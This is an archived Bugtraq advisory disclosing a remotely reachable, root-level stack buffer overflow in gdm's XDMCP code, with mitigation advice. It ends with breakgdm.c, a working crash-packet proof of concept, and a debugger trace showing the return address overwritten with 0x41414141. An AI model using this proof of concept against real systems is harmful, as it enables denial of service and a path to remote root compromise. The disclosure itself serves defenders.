[LWN Logo]

Date:         Sun, 21 May 2000 23:13:09 +0100
From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
Subject:      "gdm" remote hole
To: BUGTRAQ@SECURITYFOCUS.COM

Hi,

[Note that I was going to wait for an official fixed release of gdm, but
RedHat have released an errata update to the public, so no point hanging
around]

SUMMARY
=======

"gdm" is a replacement for "xdm", the X display manager. gdm is a part of
the GNOME desktop. A buffer overflow exists in the XDMCP parsing code of
gdm. If gdm is configured to talk the XDMCP protocol on port 177 UDP, then
you are vulnerable. At the time of the overflow, gdm is running as
root. It is not neccessary to have a valid username/password in order to
reach the code flaw.

But there is good news:) Luckily, most vendors and packagers using gdm,
ship with a default of XDMCP listening _disabled_. Some examples of
vendors/packages who are safe by default include:

- RedHat 6.0-6.2
- Helix GNOME
- The raw gdm source tarball

Listening on the network is controlled by (on my
system) /etc/X11/gdm/gdm.conf. Locate the [xdmcp] section. You are safe if
you have "Enable=0". Alternatively use "netstat -ao" to check for
something listening on port 177.

NOTES
=====

xdm is not vulnerable to this flaw. kdm (which comes with the KDE
desktop) is also free from this issue (the XDMCP code is nabbed from xdm).

In general, _whichever_ display manager you use to offer XDMCP, please
consider desisting. Remember that the display manager is rendering a login
box onto an untrusted remote machine. This involves chatting the X
protocol. This is not a small protocol. What do you think the chances are
that $(YOUR_VENDOR) ships a completely bug free set of X libraries?


Aside from the buffer overflow, various people subsequently pointed out
potential DoS issues (null pointer deref's) and some potential memory
leaks. Please see CREDITS below.


DISCUSSION OF CODE FLAW
=======================

Check out daemon/xdmcp.c, gdm_xdmcp_handle_forward_query()

...
// On stack
struct in_addr ia;
...
    memmove (&ia.s_addr, clnt_addr.data, clnt_addr.length);

// Where clnt_addr.{data,length} are from the network

So it's a mildy disguised standard stack overflow.


CREDITS
=======

Martin K. Petersen: (gdm author). This guy saved a lot a grief by
appreciating the issues with XDMCP in general, and disabling it by
default.

Owen Taylor, Elliot Lee: Spotted and fixed issues with NULL pointers and
memory leaks. These issues were not readily apparent due to being hidden
behind libXdmcp structures such as ARRAYofARRAY8, etc.


Demo "crashme" packet builder and resultant gdm stack trace follow. I
didn't write an exploit. I'm sure some friendly Black Hat will oblige and
post.

Cheers
Chris

/*
 * breakgdm.c - Chris Evans
 */

#include <unistd.h>
#include <string.h>
#include <netinet/in.h>

int
main(int argc, const char* argv[])
{
  char deathbuf[1000];
  unsigned short s;
  unsigned char c;

  memset(deathbuf, 'A', sizeof(deathbuf));

  /* Write the Xdmcp header */
  /* Version */
  s = htons(1);
  write(1, &s, 2);
  /* Opcode: FORWARD_QUERY */
  s = htons(4);
  write(1, &s, 2);
  /* Length */
  s = htons(1 + 2 + 1000 + 2);
  write(1, &s, 2);

  /* Now we're into FORWARD_QUERY which consists of
   * remote display, remote port, auth info. Remote display is binary
   * IP address data....
   */
  /* Remote display: 1000 A's which incidentally smoke a path
   * right to the stack
   */
  s = htons(sizeof(deathbuf));
  write(1, &s, 2);
  write(1, deathbuf, sizeof(deathbuf));
  /* Display port.. empty data will do */
  s = htons(0);
  write(1, &s, 2);
  /* Auth list.. empty data will do */
  c = 0;
  write(1, &c, 1);
}

Program received signal SIGSEGV, Segmentation fault.
getenv (name=0x40246a70 "") at ../sysdeps/generic/getenv.c:88
88      ../sysdeps/generic/getenv.c: No such file or directory.
(gdb) bt
#0  getenv (name=0x40246a70 "") at ../sysdeps/generic/getenv.c:88
#1  0x401e8f4a in tzset_internal (always=1094795585) at tzset.c:144
#2  0x401e9e2a in __tzset () at tzset.c:542
#3  0x401e676c in strftime (
    s=0x80645c4 "May 20 06:24:04
gdm[1393]: gdm_xdmcp_handle_forward_query: ForwardQuery from 127.0.0.1",
maxsize=8188, format=0x40247acb "%h %e %T ",
    tp=0xbffffa94) at strftime.c:476
#4  0x4020e681 in vsyslog (pri=3,
    fmt=0x8060770 "gdm_xdmcp_handle_forward_query: Got FORWARD_QUERY from
display: 65.65.65.65, port 0", ap=0xbffffae8) at syslog.c:149
#5  0x4020e59f in syslog (pri=3,
    fmt=0x8060770 "gdm_xdmcp_handle_forward_query: Got FORWARD_QUERY from
display: 65.65.65.65, port 0") at syslog.c:106
#6  0x804f9a4 in gdm_debug ()
#7  0x8050da2 in gdm_xdmcp_close ()
#8  0x41414141 in ?? ()
    ^^^^^^^^^^^^^^
Cannot access memory at address 0x41414141.